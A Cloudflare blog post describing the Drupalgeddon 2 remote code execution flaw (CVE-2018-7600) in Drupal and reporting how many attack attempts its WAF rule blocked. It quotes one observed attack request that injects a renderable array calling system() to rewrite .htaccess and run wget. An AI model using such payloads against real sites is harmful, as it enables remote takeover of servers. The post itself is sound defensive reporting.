Subscribe to receive notifications of new posts:

Keeping Drupal sites safe with Cloudflare's WAF


2 min read

Cloudflare’s team of security analysts monitor for upcoming threats and vulnerabilities and where possible put protection in place for upcoming threats before they compromise our customers. This post examines how we protected people against a new major vulnerability in the Drupal CMS, nicknamed Drupalgeddon 2.

Two weeks after adding protection with WAF rule ID D0003 which mitigates the critical remote code execution Drupal exploit (SA-CORE-2018-002/CVE-2018-7600), we have seen significant spikes of attack attempts. Since the 13th of April the Drupal security team has been aware of automated attack attempts and it significantly increased the security risk score of the vulnerability. It makes sense to go back and analyse what happened in the last seven days in Cloudflare’s WAF environment.

What is Drupalgeddon 2

The vulnerability potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could make a site completely compromised.

Drupal introduced renderable arrays, which are a key-value structure, with keys starting with a ‘#’ symbol, that allows you to alter data during form rendering. These arrays however, did not have enough input validation. This means that an attacker could inject a custom renderable array on one of these keys in the form structure.

The WAF to the rescue

Cloudflare implemented a WAF rule that would identify malicious requests and block them. We block malicious payloads in GET requests, POST requests and Cookies, which matches the patch made to drupal itself.

Just during last week, after removing false positives, the rule has blocked more than 500,000 potential attacks, especially at the start of the sample date, when the vulnerability was more recent.


Apart from that, we are seeing more than 250 unique IPs per day, mostly IPv4 but also some IPv6 addresses.

Our analysis shows that most of the attempts are built with a POST request, trying to exploit the ‘mail’ field, with the following being the most used ones:


We also found some interesting attack attempts, in which the attacker tried to inject a renderable array on the name field that would copy and download a specific file with access details into a site belonging to the attacker on a most probably compromised domain.

/q=user/password&name[#post_render[]=system&name[#type]=markup&name[#markup]= chmod 0644 ./sites/default/files/.htaccess;cp/dev/null./sites/default
/files/.htaccess;mkdir./sites/default/files/temp/;wget -P ./sites/default/

The number of blocked requests does not seem to be going down and we keep blocking more than 56,000 potential attacks per day.


We protect entire corporate networks, help customers build Internet-scale applications efficiently, accelerate any website or Internet application, ward off DDoS attacks, keep hackers at bay, and can help you on your journey to Zero Trust.

Visit from any device to get started with our free app that makes your Internet faster and safer.

To learn more about our mission to help build a better Internet, start here. If you're looking for a new career direction, check out our open positions.
WAFDrupalVulnerabilitiesWAF Rules

Follow on X


Related posts

May 21, 2015 10:10 PM

Welcome Acquia!

We’ve had the good fortune to share many great experiences with the Acquia team over the last few years. From breaking bread with founder and CTO Dries Buytaert at SXSW, to staying up late with their incredible team onboarding a joint customer under a DDoS attack. ...